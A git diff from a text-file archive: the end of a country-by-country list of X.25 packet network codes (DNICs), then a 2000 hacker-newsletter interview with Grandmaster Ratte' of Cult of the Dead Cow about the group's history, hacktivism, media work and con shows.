BATELCO PACKET SWITCHED NODE 4263 +BARBADOS CARIBNET 3422 + IDAS 3423 +BELARUS BELPAK 2570 +BELGIUM CODE UTILISE AU NIVEAU NATIONAL RESEAU DCS 2061 + DCS. 2062 + DCS. FAX/DCS. BULK 2063 + CODENET 2064 + DCS(NIVEAU NATIONAL) 2065 + UNISOURCE BELGIUM X.25 2066 + DCS(NIVEAU NATIONAL) 2067 + DCS(VIA TELEX COMMUTE NATIONAL 2068 + DCS(VIA RESEAU TELEPHONIQUE 2069 +BERMUDA CABLE&WIRELESS DATA COMMUNICATION + NODE 3502 + CABLE&WIRELESS PACKET SWITCHED NODE 3503 +BOSNIA & HERZEGOVINA BIHPAK 2180 +BRAZIL INTERDATA 7240 + RENPAC 7241 + RIOPAC 7242 + MINASPAC 7243 + TRANSPAC 7244 + DATA FAX(FAC SIMILE SERVICE) 7245 + BRAZILIAN PRIVATE NETWORKS 7246 + DATASAT BI 7247 + S.PPAC 7251 + TELEST PUBLIC PACKET DATA NETWORK 7252 + TELEMIG PUBLIC SWITCHED PACKET + NETWORK 7253 + PACPAR 7254 + CRT/CTMR 7255 + WESTERN & MIDWESTERN PUBLIC + SWITCHED PACKET DATA NETWORK 7256 + TELEBAHIA AND TELERGIPE 7257 + NORTHEASTERN 7258 + NORTHERN PUBLIC SWITCHED PACKET + DATA NETWORK 7259 +BURKINA FASO FASOPAC 6132 +CAMEROON CAMPAC 6242 +CANADA TELECOM CANADA DATAPAK NETWORK 3020 + TELECOM CANADA PSTN ACCESS 3021 + STENTOR PRIVATE PACKET SWITCHED + DATA NETWORK GATEWAY 3022 + STENTOR ISDN IDENTIFICATION CODE 3023 + TELEGLOBE CANADA GLOBEDAT-C 3024 + TELEGLOBE CANADA GLOBEDAT-P 3025 + AT&T CANADA LONG DISTANCE FASPAC 3026 + AT&T CANADA LONG DISTANCE SERVICES + PACKET SWITCHED PUBLIC DATA NETWORK + PSP. 3028 + TMI COMMUNICATIONS MDS,X.25 PUBLIC + SWITCHED DATA NETWORK 3037 + CANADA POST-POSTpac,x.25 packet + DATA NETWORK 3038 + TELESAT CANADA-ANIKOM 200 3039 +CAYMAN ISLANDS CABLE AND WIRELESS PACKET SWITCHING NODE 3463 +CHAD TCHADPAC 6222 +CHILE RED NACIONAL TRANSMISION DE DATOS 7302 +CHINA RESERVED INTERNATIONAL SERVICE 4600 + TELETEX-LOW SPEED DATA NETWORK 4601 + CHINAPAC1 4602 + CHINAPAC 4603 + RESERVED FOR PUBLIC MOBILE DATA + SERVICE 4604 + PUBLIC DATA NETWORK 4605 + DEDICATED NETWORK 4606 + DEDICATED NETWORK 4607 + DEDICATED NETWORK 4608 + PUBLIC DATA NETWORK 4609 +CYPRUS CYTAPAC-PSDN (SUBSCRIBERS WITH DIRECT + ACCESS 2802 + CYTAPAC-PSDN (SUBSCRIBERS WITH ACCESS + VIA TELEX 2808 + CYTAPAC-PSDN (SUSCRIBERS WITH ACCES + VIA PSTN-X.28,X.32 2809 +COLOMBIA COLDAPAQ 7322 +CZECH REP. NEXTEL 2301 +KOREA(REP OF) HINET-P(KOREA TELECOM) 4500 + DACOM-NET 4501 + CSDN(ONLY ASSIGNED TO TELETEX) 4502 +COSTA RICA RACSADATOS 7120 + RACSAPAC 7122 + RACSAPAC 7128 + RACSAPAC 7129 +COTE D'IVOIRE SYTRANPAC 6122 +CROATIA CROAPAK 2191 +CUBA SERVICIO DE INFORMACION POR + CONMUTACION DE PAQUETES DEL IDICT 3680 +DENMARK DATEX 2381 + DATAPAK 2382 + DATAPAK 2383 + TRANSPAC 2384 + SONOFON GSM 2385 +DOMINICAN REP. ALL AMERICA CABLES AND RADIO 3706 +EGYPT EGYPNET 6026 +ESTONIA ESTPAK 2480 +FAROE ISLANDS FAROEPAC 2881 +FIJI FIJINET 5421 +FINLAND DATEX DATA NETWORK CSDN 2441 + DATPAK DATA NETWORK PSDN 2442 + FINPAK 2443 + TELIVO LTD. 2444 +FRANCE TRANSPAC 2080 +FRANCE NOEUD DE TRANSIT INTERNATIONAL 2081 + GRANDS SERVICES PUBLICS 2082 + ADMINISTRATIONS 2083 + AIR FRANCE 2084 + SIRIS 2085 + BT FRANCE 2086 + INTERCONNEXION ENTRE LE RESEAU PUBLIC + TRANSMISSION DE DONNEES TRANSPAC ET + ET D'AUTRE PUBLICS FRANCAIS, POUR DES + SERVICES OFFERTS EN MODE SYNCHRONE 2089 +GABON GABONPAC 6280 +GAMBIA GAMNET 6070 +GERMANY ISDN/ X.25 2621 + DATEX-L 2622 + DATEX-P 2624 + SATELLITE SERVICES 2625 + TELETEX 2627 +GOERGIA IBERIAPAC 2821 +GHANA DATATEL 6202 +GREECE HELLASPAC 2023 +GRENADA CARIBNET 3522 +GREENLAND DATAPAK (PACKET SWITCHED NETWORK) 2901 +GUAM PACNET 5351 +GUYANA GT&T PAC 7380 +HONDURAS HONDUPAQ 7080 +HONGKONG PUBLIC SWITCHED DOCUMENT TRANSFER + SERVICE 4540 + HUTCHINSON COMMUNICATIONS LIMITED 4541 + INTELPAK 4542 + NEW T & T HONG KONG LIMITED 4543 + DATAPAK 4545 + AT&T EASY LINK SERVICES,ASIA/PACIFIC + LIMITED(AT&T EASYLINK SERVICES) 4546 + NEW WORLD TELEPHONE LIMITED 4547 + KDD HONG KONG LTD.(PUBLIC VALUE-ADDED + FACSIMILE SERVICE) 4548 +HUNGARY CIRCUIT SWITCHED SERVICE 2160 + PACKET SWITCHED DATA SERVICE 2161 + PACKET SWITCHED PRIVATE DATA NETWORK 2165 + PACKET SWITCHED PUBLIC DATA NETWORK 2166 +INDIA RABMN 4041 + INTERNATIONAL GATEWAY PACKET(GPSS) 4042 + INET(PACKET SWITCHED PUBLIC NETWORK 4043 +INDONESIA SKDP PACKET SWITCHED SERVICE 5101 +INMARSAT ATLANTIC OCEAN-EAST 1111 + PACIFIC OCEAN 1112 + INDIAN OCEAN 1113 + ATLANTIC OCEAN-WEST 1114 +IRAN(ISLAMIC REP.) IRANPAC 4321 +IRELAND INTERNATIONAL PACKET SWITCHED SERV. 2721 + EURONET 2723 + EIRPAC 2724 + PostNET 2728 +ICELAND ISPAK/ICEPAK 2740 +ISRAEL ISRANET 4251 +ITALY RETE TELEX-DATI 2221 + ITAPAC X.25 2222 + PAN (PACKET NETWORK) 2223 + ITAPAC INTERNATIONAL 2227 + ALBADATA X.25 2233 + UNISOURCE ITALIA S.p.A. 2234 + INFOSTRADA S.p.A. 2234 +JAPAN GLOBALNET 4400 + DDX PACKET NETWORK (NTT) 4401 + NEC-NET( NEC CORPORATION) 4402 + JENSNET 4403 + JAIS-NET(JAPAN RESEARCH INST. LTD) 4404 + NCC-VAN(NRI&NCC CO. LTD) 4405 + TYMNET-JAPAN(NETWORK INFORMATION + SERVICE CO.LTD) 4406 + KDD INTERNATIONAL HIGH SPEED + SWITCHED DATA TRANSMISSION NET. 4407 + KDD INTERNATINAL PACKET SWITCHED + DATA TRANSMISSION NETWORK 4408 + NiciNET 4410 + Sprintnet(Sprintnet Japan Inc.) 4412 + KYODO NET(UNITED NET CORP.) 4413 + VITEL network(VITEL JAPAN LTD.) 4414 + FENICS(FUJITSU LIMITED) 4415 + HINET(HITACHI information Network) 4416 + Tis-Net(TOYO information Systems + TG-VAN(TOSHIBA Corporation) 4418 + FAXMAIL (FastNewt INC) 4419d + Pana-Net 4420 + MIND(MITSUBISHI-ELECTRIC INFORMATION + NETWORK CORP. 4421 + CTC-(CHUBU TELECOMMUNICATIONS CO.INC.) 4422 + KICNET (INES CORPORATION) 4423 + SITA NETWORK 4424 + GLOBAL MANAGED DATA SERVICE(CABLE & + WIRELESS JAPAN COMMUNIC SERVICE LTD 4425 + ECHO-Net(HITAHC INFORMATION SYST.LTD. 4426 + U-Net(NIHON UNYSYS INFO.SYSTEMS LTD. 4427 +KAZAKSTAN KazNet x.25 4010 +LATVIA LATVIA PUBLIC PACKED SWITCHED DATA NET. 2471 +LIBANON RESEAU PUBLIC DE TRANSMISSION DE + DONNEES PAR PAQUETS 4155 +LUTHUANIA VILNIUS DATAPAK 2462 + LITCOM 2463 +LUXEMBOURG RAPNET 2703 + LUXPAC 2704 + LUXNET 2705 + LUXPAC 2709 + +MACAU MACAUPAC 4550 +MADAGASCAR INFOPAC 6460 +MALAYSIA AC 5021 + MALAYSIAN CIRCUIT SWITCHED PUBLIC DATA + NETWORK 5022 + CORPORATR INFORMATION NETWORKS 5023 + ACASIA-ASEAN MANAGED OVERLAY NETWORK 5024 + MULTIARA FRAME RELAY NETWORK 5026 + GLOBAL MANAGEMENT DATA SERV.(GMDS) 5028 +MALDIVES DATANET 4720 +MALTA MALTAPAC 2782 +MOROCCO MAGHRIPAC 6041 + MAGHRIPAC X.32 6042 + MAGHRIPAC RTC PAD 6049 +MEXICO TELEPAC 3340 + UNITET 3341 + IUSANET 3342 + TEI 3343 + OPTEL 3344 + TELNORPAC 3345 + TYMPAQ 3346 + SINFRARED 3347 + INTERVAN 3348 + INTELCOMNET 3349 + AVANTEL, S.A. 3350 + ALESTRA, S. DE R.L. DE C.V. 3351 +MICRONESIA FSMTC PACKET SWITCHED NETWORK 5501 +MOZAMBIQUE COMPAC 6345 +NAMIBIA SWANET 6490 +NEPAL NEPPAK 4290 +NICARAGUA NicaPac 7100 +NORWAY DATEX (CSDN) 2421 + DATAPAK (PSDN) 2422 + SHARED BY PRIVAT NETWORKETW.PNIC. 2429 + FD#PAK 2431 +NEW CALEDONIA TRANSPAC 5460 +NEW ZEALAND PACNET 5301 +PAKISTAN TRANSLINK 4101 +PANAMA INTELPAQ 7141 + CWP DATA NETWORK 7144 +PARAGUAY PARABAN 7440 + ANTELPAC 7447 + PARAPAQ 7448 +NETHERLANDS DATANET1 international 2040 + DATANET1 X.25 ACCESS 2041 + EUROPANET 2043 + UNISOURCE/ UNIDATA 2044 + UNISOURCE/ VPNS 2046 + DATANET1/ X.28,X.32 ACCESS 2049 + RAM MOBILE DATA(NETHERLANDS)BV 2051 + FRANCE TELECOM NETWORK SERVICES + NETHERLANDS BV 2053 + RABOFACET BV 2055 + TRIONET V.O.F. 2057 +PERU MEGANET(PERUNET) 7160 + MEGANET 7161 +PHILIPPINES CWI DATANET(CAPWIRE) 5151 + PHILIPPINE GLOBAL COMMUN. INC (PHILCOM) 5152 + GLOBE-MACKAY CABLE& RADIO CORP.GMCR 5154 + EASTERN TELECOM.PHILIPPINES INC,(ETPI0 5156 + DATAPAC 5157 +POLAND POLPAK 2601 + NASK 2602 + TELBANK 2603 + POLPAK-T 2604 + PKONET 2605 + SHARED BY A NUMBER OF DATA NETWORKS 2606 + CUPAK 2607 +POLYNESIA(FRENCH) TRANSPAC-POLYNESIE ET OPERATEUR PUBLIC + LOCAL 5470 +PORTUGAL TELEPAC 2680 + COMNEXO 2681 + CPRM-MARCONI 2682 + SIBS,SOCIEDADE INTERBANCARIA DE + DE SERVICOS, S.A. 2684 + FRANCE TELECOM REDES E SERVICOS + DE PORTUGAL , S.A. 2685 +QATAR DOHPAK 4271 +ROMANIA ROMPAC 2260 +RUSSIA ROSPACK 2500 + SPRINT Networks 2501 + IASNET 2502 + MMTEL 2503 + INFOTEL 2504 + ROSNET 2506 + ISTOK-K 2507 + TRANSINFORM 2508 + LENFINCOM 2509 + SOVAMNET 2510 + EDITRANS 2511 + TECOS 2512 + PTTNET 2513 + BCLNET 2514 +SAM +SOLOMON DATANET 5400 +SENEGAL SENPAC 6081 +SINGAPORE TELEPAC 5252 + ISDN PACKET SWITCHING SERVICE 5257 +SLOVAKIA EuroTel 2311 +SLOVENIA SIPAX.25 2931 + SIPAX.25 ACCESS THOUGH ISDN 2932 +SRI LANKA M/S ELECTROTEKS PRIVATE LTD. 4133 +SOUTH AFRICA SAPONET-P 6550 +SWEDEN DATEX 2401 + DATAPAK 2403 + FLEX25 2406 + PRIVATE X.25 NETWORK 2407 + TRANSPAC SCANDANAVIA AB 2408 +SWITZERLAND SWISS NetPac 2280 + TRANSPAC-CH 2282 + UNIDATA TELEPAC 2284 + UNIDATA TELEPAC (ACCES DE RESEAUX PRIV.) 2285 + DATARAIL 2286 +THAILAND THAIPAK1 5201 + THAIPAK2 5202 + CAT STORE AND FORWARD FAX NETWORK 5203 + TOT ISDN 5209 +THE FORMER +YUGOSLAV REPUBLIC +OF MACEDONIA MAKPAK 2940 +TONGA TONGAPAK 5390 +TRINIDAD AND CAICOS +ISLANDS CABLE & WIRELESS PACKET SWITCHED NODE 3763 +TRINIDAD AND +TOBAGO TEXDAT 3740 + DATANETT 3745 +TURKEY TELETEX 2860 + DATEX-L 2861 + TURKPAK 2863 + TURKPAK 2864 +UKRAINE UkrPACK 2550 + bkcNET 2551 +UNITED KINGDOM IPSS-BTI 2341 + PSS-BT 2342 + GNS-BT-UK 2343 + GNS-BT-EUR 2344 + MCL 2350 + MCL PDNet 2351 + HULL 2352 +URUGUAY URUPAC 7482 + URUPAC 7488 + URUPAC 7489 +USA Western Union 3101 + MCI WorldCom 3102 + ITT/UDTS 3103 + WUI 3104 + BT Tymnet 3106 + UDTS I (wuw) 3107 + SprintNet (Telenet) 3110 + RCA 3113 + Western Union 3114 + Datapak 3119 + PSTS 3124 + UNINET 3125 + ADP Autonet 3126 + SprintNet (Telenet) 3127 + TRT Data 3130 + RCA/ELEC 3131 + CompuServe 3132 + AT&T Accunet 3134 + Alascom 3135 + MarkNet 3136 + CSC 3137 + Fedex 3138 + Net Express 3139 + Conn-Net 3140 + Bell Atlantic 3141 + Ameritech 3142 + BellSouth 3143 + NYNEX 3144 + Pacific Bell 3145 + Southwestern Bell 3146 + U.S. West 3147 + CENTEL 3148 + WangPac 3149 + Fedex (GlobeNet) 3150 + Data-America 3151 + DIALNET 9000 +VANUATU VIAPAC 5410 +VATICAN PSDN 2250 +YUGOSLAVIA YUPAC 2201 +ZAMBIE ZAMPAK 6451 +ZIMBABWE ZIMNET 6484 + +Note: Datapac did not have information on PSNs and their corresponding DNICs +for the United Kingdom or the United States. So, I compiled a list myself, +partially from memory and from several other lists. I've made every attempt +to ensure that the information for those countries is correct. However, it is +possible that inaccuracies exist. If you notice anything missing, or a DNIC +that's incorrect, please contact us. Thanks. diff --git a/textfiles.com/groups/DAMAGEINC/gratte.txt b/textfiles.com/groups/DAMAGEINC/gratte.txt new file mode 100644 index 00000000..272afd02 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/gratte.txt @@ -0,0 +1,419 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Interviews & Interrogations + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +[Previously published in the Damage, INC. Newsletter Issue #19] + +Grandmaster Ratte' (cDc) is in the spotlight. Obviously, Cult of the Dead Cow +is a very well known, revered, respected, influential group in the scene. Since +1984, they've been doing nothing short of kickin' fuckin' ass. With the longest +running e-zine, a diverse group of members and a wide assortment of releases, +along with media saturation, cDc stands apart from all the rest. More than just +being high profile, their members have made a huge impact and countless valuable +contributions. Bow to the Cow. + +I'm eternally grateful that he has agreed to be interviewed for the Damage, INC. +Newsletter. His insight into the scene is immeasurable and comments invaluable. +But enough with the pre-interview hype, adulation and near awe struck admiration +of cDc. In this interview, we explore everything from the group dynamic of cDc +to other topics such as Hacktivism, etc. Just read the damn interview and enjoy +it without dropping your jaw so much that your keyboard becomes covered in thick +saliva. This interview was conducted towards the end of December, 2000, and it +commences right here... + + +Alias: Grandmaster Ratte' +Group(s):cDc communications +Country: US of A + +Description: SWM, 30, 2 legs, non-smoker, active, fit, enjoys knitting and cats. +Seeks baby seal for (c)lubbin'. + +Music: minor key stuff with a catchy melody, all styles + +Movies: sitting way down close to the screen to get my money's worth of +spectacle + +Books: non-fiction + +Email: gratte@cultdeadcow.com +IRC: gratte +Usenet: alt.fan.cult-dead-cow +URL(s): www.cultdeadcow.com + + - Since no introductions are necessary, I'll just jump right into the +real interview questions. How has cDc managed to stay together, evolve and +be so productive throughout the years? Many other groups have disappeared, +dissolved and basically weren't able to adapt and keep evolving. I realize +that cDc is fundamentally different, but, it's still an amazing feat to last +so very long. And the fact the group is still growing and expanding its domain +is also impressive. So, the question is, what's the driving force behind the +group? What's responsible for it continuing to grow and thrive? And how are +you able to maintain such dedication and diligence? + +----- + +Well, cDc resulted from a name change to an earlier group called Pan-Galactic +Entropy that I had started in '83, '84 in Lubbock, Texas (806). We were the +local BBS scene kids, mostly in junior high, and the majority of us were running +our own boards... on Apple II's, Texas Instruments 99/4a's and Atari 800's. +Lubbock is a weird little college town in the middle of cotton field country. +There's sort of a clique of the offspring of the Texas Tech University +professors and the students who tend to find each other and huddle together in +the midst of tumbleweeds and pickup trucks with gun racks. So that was us. +A lot of other computer underground things came from that unlikely place. In +the '80s there were two major h/p BBS's there before ours, and GwD and F.U.C.K. +(now Attrition.org) started there; all revolving around the university. + +Enough background, now I'll answer the question... + +In 1986, I came up with the cDc name and Franken Gibe joined. Gibe's a really +sharp visionary type, and we would talk endlessly about the hacker/BBS scene and +what we didn't like about it, and what we wanted to do with our own group +differently. So the two of us really put together the whole 'concept' that's +been driving everything since. Fortunately, the concept is very broad and +inclusive and says basically, "The technology is not the point - it's just +a means to something else." That right there put us 180 degrees apart from +every hacker group before and it still trips up most people I think in the +'scene' - they fall in love with the gadgetry itself and don't see that's just +a dead end. + +Until it's too late and they're burned out from a small idea that can't grow. +So our mission is to use these crazy communications tools to figure out +something else. + +When we started, it was about using the free long-distance phone calls, and now +it's on the 'net. No difference. + +In practical terms, you stay together through... stubbornness? cDc is my main +creative outlet, I _have_ to do this. For a group to survive, I think it has to +have passion about what it's doing, 'cause there's not much else to sustain it - +no salaries or concrete payoffs. The most rewarding thing about it is the sense +of accomplishment when you've done some work you know is good, and the feedback +you hopefully get from people who dig your stuff. + +The trick is to keep it fresh and interesting for the people involved, which +means change and growth if you're determined to stick with your plan. It's +inevitable. As Woody Allen said, "Ninety percent of success is just showing +up." So show up, put in work, keep doing it, and there ya go. + +People come and go from cDc. There have been 50 or so members over the years, +and we tend to have an active lineup of around 20 people at any given time. +Currently, some of the people have been in since the mid '80s and some around a +year, and they're all still bringing different things to the table. +The concept of cDc includes a change of roster... the concept has to be bigger +than any of the people. Individuals are flighty, they change and their lives go +this way and that and a group has to accommodate that reality or it can't work. +As long as there are people willing to do the necessary grunt work, things'll +hum along fine. + +----- + + - Hacktivism is one of the topics that I simply couldn't ignore during +the course of this interview. So let's get into it. In your opinion, what's +the importance of Hacktivism as it stands right now? And, do you think it'll +be even more important in the future? Will it be more of a potent tool to +get political messages across? What are you views on it as a means of +protesting and enacting change? + +I'd say right now, Hacktivism is a bubbling idea. It's still in the pot, and a +lot of people are standing around the stove rubbing their hands, waiting to dig +in. We've got a "subsidiary" now called Hacktivismo that OXblood Ruffin is +stirring up... they're all hot-shit coders and are working on practical human +rights apps that will make Hacktivism a more concrete force. + +Hacktivism is about finding a political, real world end to these tech means... +which is exactly the same as the cDc concept. So it's another way to spread our +idea about what the point to all this is. Yes, I think it will be very +important in the near future. I think a lot of people are and many, many more +will be picking up the flag and running with it. It's something to care about +and fight for and I'm proud to be involved. + +----- + + - Since cDc is producing and releasing audio now, and you mentioned to me +that you've been really into it for 10 years or so now... I thought it'd be +prudent to ask what the plans are. How big is cDc gonna get into audio and +what types of projects are in the works? + +Yeah, I've been playing bass and guitar and yelling in zillions of noisy bands +since I was 16. Then I got into hip-hop and dance production in '90 with an +Amiga and a little keyboard and a 4-track. Franken Gibe and I started a punk +club with partners who had a skateboard park in a warehouse and we put on lots +of shows for a few years. Some raves, too. Then xxxclusive and I put together +a lil' ol' recording studio in a few different places and we did tons of demo +production, mostly southern gangsta hip-hop and punk rock. + +We're gonna be very into audio, at least as much as we've been into text files. +The first MP3 we put out was in mid '97, and now we've got the bandwidth to +really do things right. The plan is to target the music scene specifically with +our audio and do lots of stuff with the guys running Shoutcast sites. So we'll +plug along with our telecom, no-budget way of doing things and then a few years +later the old conventional scene maybe will notice what we've been up to. That +seems to be the way it goes. + +----- + + - cDc is infamous for its media relations. By that, I simply mean, the +group is very well known in media circles, and utilizes the mass media as an +outlet. In fact, in my view, you're masters at it. My question is, how was +this relationship with the media formed and achieved? Who is responsible for +forging these media relations? And how important is the media aspect to cDc? + +In school in the late '80s I wrote a paper about "electronic publishing" and +how important I thought it would be and the professor said it was a ridiculous +idea. Ha. In college, I got a degree in telecommunications - which means radio +and TV stuff. I also had classes in journalism, public relations, marketing, +advertising, and media law. So I was in all these classes learning about +dealing with the media, and I thought, "Well, we've got a magazine, sort of, so +why not act like it?" I was just using standard media relations tactics in a +new environment. I'd scour every magazine I could find for email addresses +(this was way before dot com mania and e-i-e-i-o-everything) of "movers and +shakers" and send them press releases about our stuff. + +Relating to the media is very important for cDc for two reason. One, because +mass media is how you spread a message - advertising costs money, but public +relations work is free. Two, because in the context of what we do, issuing +press releases and fielding interviews and such is freakin' hilarious. And so, +the more the better. We catch flack from a few humorless gimps in the hacker +world who don't get it, but the press aren't the enemy. They're just cats doing +their job and most of 'em are cool folks. They want a hook, they want "riveting +drama", 'scool. You hang out with a reporter at a restaurant, they pay for your +food, you tell 'em a story. If it's not you, they'll just go find some other +car wreck to look at. + +Different people in the group field different kinds of questions, so between us +we can cover things pretty well. + +----- + + - On a similar note, cDc has always been excellent at promoting itself +within the scene, and even outside of it. The group is well known for its +unmistakable style and flash. And so, relating to this, how do you put +together the shows you put on at the various hacker cons the group attends? + +We use a lot of antihero imagery to wrap up an essentially positive message - +most people figure it out but a few knuckle-draggers don't get it. That's ok, +they don't have to. We do these things because it's fun to scheme and plot and +use these techniques in this context; we're playing around. We're not making +money and we're not trying to trick anybody. The attitude is that we definitely +want everybody in on the fun, ya know. The only market we're interested in is +hearts and minds, and the point will be more clear as our agenda emerges over +time. + +We plan for the shows we do in email mostly. Then as the time draws near, a lot +of work goes into getting lights and sound working right (sometimes) and +whatever printed materials we're giving out to press, throwing to the crowd, +etc. We have to put the recorded audio together on a CD, and maybe there'll be +some video. Which is a nightmare with video projectors and such. Of course +you've gotta have some sort of show concept, and you have to script out who's +saying what and when. Then you've got costumes to put together, and props and +figuring out how to get all your junk to the location. When you see the stage, +you have to figure out staging: how you come in, where you stand, who does what +where. How the lights are going to work. The audio cues. At H2K we had a +theater group doing a play and so I had to meet with them several times for +script-writing and rehearsals. They did a great job. + +We also did three musical numbers, and so the people involved with that had to +know how the songs went and what they were supposed to be doing. It's a whole +big fat ton of work to put on those shows and they cost quite a bit of money to +do. We don't get paid for them either, so we hope to make some of the money +back with t-shirt sales. + +----- + + - Judging by their writing, quotes in articles and interviews, each member +of cDc seems to have a very distinct style, unique personalities and interests. +It's a group of real individuals, which is very cool. And you keep it fresh, +by adding members, expanding, constantly getting into new things, etc. +The group as a whole seems to have its own culture, at least that's how many +outside observers view it. More than just a generic hacker culture. Can you +rant a a little on cDc culture, and give us an idea of what some of the basic +ethics and ideals of the group are? Is there anything that isn't permitted +within the "boundaries" of cDc and all that the name encompasses? + +Yeah, everyone in cDc is definitely their own person and we want them to project +their characters as much as possible. We have an internal culture of +communicating on a personal level with each other, in most cases for many years. +Before everyone had Internet email, cDc communicated through a private message +board on the Demon Roach BBS. Then that switched over by the early '90s to an +Internet mailing list we're all on. We talk about intimate details of our +lives, know embarrassing things about each other, etc. There are cliques within +the group, but for the most part we're all fairly close friends. I guess you +could say the culture sort of comes from knowing that this isn't a regular +hacker group, it's not supposed to be, and that we're pushing for something +else. Finding something else is the culture of the group. That's what keeps it +fresh and interesting for us. Being in cDc is like being in a band, or a gang, +or both. But it's a new definition without the traditional boundaries. It's +much better. It's an ideal, a lifestyle. The ideal is to be this renaissance +person, mad ninja skills in all aspects of life, enlightened, uber-el33t, etc. +So maybe you're really a bit lamer than all that superstar stuff, but ya know, +at least you can inspire your own damn ass. And that's pretty cool. + +----- + + - How has cDc changed since you first started writing and releasing issues? +I still vividly remember reading cDc's t-files from the 80s... with the early +ones including song lyrics for albums, lists, telecom terms and that sort of +thing. The evolution of the group was so clear and apparent as each year +passed. Was it as natural an evolution as it seemed? + +We started doing text-files in '84 and over the next year or so we had amassed +quite a few. With the name change to cDc, we started numbering the text files +to make them collectible, so you could tell if you didn't have them all. Before +that, nobody was numbering anything. + +Quite a few t-files didn't make the cut at that point, though you might still +see them floating around. So by then we had a little 'zine with enough articles +to warrant our own subdirectory on a BBS. The next issue was distribution, so +we made a point of making damn sure all our files got onto the biggest h/p and +text BBS's at the time. We would recruit sysops into our efforts; for a long +time we had an organized "Factory Direct Outlet" distribution plan to +guarantee certain BBS's would carry our releases as soon as they came out. So +we basically churned away like this, growing gradually, until 1993 when +Drunkfux set up our first Internet site, cypher.com. Mindvox was also huge and +we were all over it, a telnet-able BBS in New York that everybody who was +anybody was on. This was when the "cyperpunk" thing was happening, the last of +the big hacker-scene busts was going on, and we started doing press releases +through Internet email. We had a _massive_ email list then, which I'd send out +manually one at a time and it took days to send out a PR. The goal was if you +had a computer and a modem, we wanted to be in your face about cDc. This +was when the hacker cons became more widespread... SummerCon had been going on +yearly in St. Louis with the Phrack scene, but now Defcon started and Drunkfux +had his HoHoCons ( in my opinion, the best - freakin' NUTS - cons now are +watered-down pussy shit compared to those). So by the early '90s, the Internet +happened and we grew beyond the BBS scene and that's been the situation. We've +been wanting deliriously to do wider media than t-files for almost ten years now +but didn't have the bandwidth to handle the kinda traffic these releases move. +I'm very excited about that stuff. The cDc web site has been totally redone six +times now I think, and the latest is kinda cool. It has a "content management +system" - w00. + +----- + + - What do you think the legacy of cDc will be? What will the group be +doing 5 or 10 years from now? Yes, I'm basically asking you to predict the +future. ;) + +Astral travel. Building an army of psionic warriors to battle the alien +reptilian overlords in the 4th dimension for the fate of mankind. + +----- + + - Excluding BackOrifice and BO2K, what has cDc written or done that made +a huge impact on the scene? (including texts, ideas, ideals, terms coined, +philosophies, etc.) And which cDc issue stands out in your mind, and why? + +I think our biggest impact has been the idea of electronic publishing, through +the e-zine, webzine, whatever. BO is a cool app and made a lot of noise but in +the big picture, coming up with "new media" is a way bigger deal. + +We're sort of in a weird position, because on one hand we're the flagbearers of +certain "old skool hacker" traditions - on the other hand, we were all +about breaking from some of that when we started. Now the cultural enemies are +the dot com ninnies and the scared reactionaries who come following them not +realizing what they're getting into. You can't just hide the Playboys in the +dresser and keep the scary books out of the library any more - gee, maybe you +should stop treating your kids like retards who have to be sheltered from +anything challenging, and they'll turn out better. I'm digressing, sorry. I +guess the influence to the hacker scene in general is the attitude that we're +here to have fun and build something cool. In particular, there are tons of +details... I'll see quotes from us in the mission statements of groups, +unattributed. File templates cut and pasted from ours. Too many to think of. +Tons of times I'll be reading somebody else's etext or whatever and think +"Oh, that came from my...so and so". References and whatnot all over the place. +It's cool, it's fine. Everything's always built on what came before. We were +looking at the Apple Mafia and LOD/H and figuring out what we didn't wanna do +in the early days, and now we're thinking about the Rolling Stones (in '73) and +KISS. + +But the most important cDc innovation: MIXED-CASE ACRONYMS!! + +The cDc file that stands out the most to me is #200: "Super mega blah blah +blah." That damn thing took like a year to put together, and I remember +finishing it up at some crazy hour of the morning just before I drove off for 7 +hours to a HoHoCon. I hadn't put out a file all year, we had been stuck at #199 +forever and everyone in the group was pretty pissed off. So I basically +couldn't show my face without that file. I brought it on a floppy and all was +well, and I still think it's the best file I've done by far. I've been really +happy with the concept, an elaborate Dickens parody through the eyes of a BBS +sysop. Another file that stands out to me is the "Six Million Dollar Man - +alien conspiracy" (#253) thing. At some hacker con, Omega and White Knight +had a handful of copies printed out and announced he had this "special +exclusive paper" and these journalist guys were LEAPING for it, yelling "Press!" +It was too funny, and something really clicked for us, seeing that. Also, I +remember that Mormon-expose file by Krass Katt being kind of an "oh wow" moment, +along with the first time I'd seen all that UFO-Roswell-MJ12 conspiracy stuff... +Gibe and I used to sit around, freaked out, talking about all that business when +we first found it on the old UFONet boards in the late 80s. + +----- + + - You mentioned HOPE was more interesting this year than Defcon... How +was Jello Biafra's speech? What's your take on cons in general? + +As far as cDc stuff goes, our show at HOPE last year was probably the best live +show we've ever done. Then two weeks later at Defcon, very little went like it +was supposed to, and it was pretty disappointing. I remember coming back to the +"Suite of the Elite" after the show just feeling down and mumbling to myself, +"It didn't work, it didn't work." We had a lot of communications problems +within the group leading up to it and we weren't really on the same page. And +then tons of technical glitches and general confusion led to a half-assed show. +But we learned a lot about what not to do and to not just assume things will +work out, and next year should be insane. + +Jello Biafra's speech was really cool, I think it's definitely what's needed - +an outside voice pointing towards some sort of agenda, via hacktivism and such. +I think the problem with these cons has been sort of a blase' attitude - I see a +lot of kids throwing themselves in these "Internet security consulting +companies" trying to act like some dim-witted view of what "professional" means +and not seem like they're 16 years old. Thinking they're going to pull a L0pht +and somebody's going to throw 'em some money. Get real, kid. Too much +unimaginative dull thinking going on, people not seeing the big picture or +thinking about the potential here. Enough complaining though, cons are still +great and everyone should go if possible. It's really fun to meet people from +the pages and IRC and hang out for a weekend. + +----- + + - Do you want to give any shout outs to anyone? + +Yes, everybody who's helped us out in some way over the years. Carried our +stuff on their system, put a sticker someplace, bought a t-shirt, sent some good +feedback, told someone about cDc, lugged stuff around at a con, wrote a story +about us. We appreciate it very much. We're so grateful to everyone. + +----- + + - Thanks for doing this interview. We really appreciate it. + +Thank you, it was fun. Happy New Year, y'all... + +G. Ratte'/cDc + +----- + +Afterward: + +To say the very least, interviewing Grandmaster Ratte' has been a real highlight +for me, and has made this issue special. I remember reading cDc issues in +the late 80s, when I first got into BBSing and the whole text scene. In all +honesty, I grew up reading cDc. 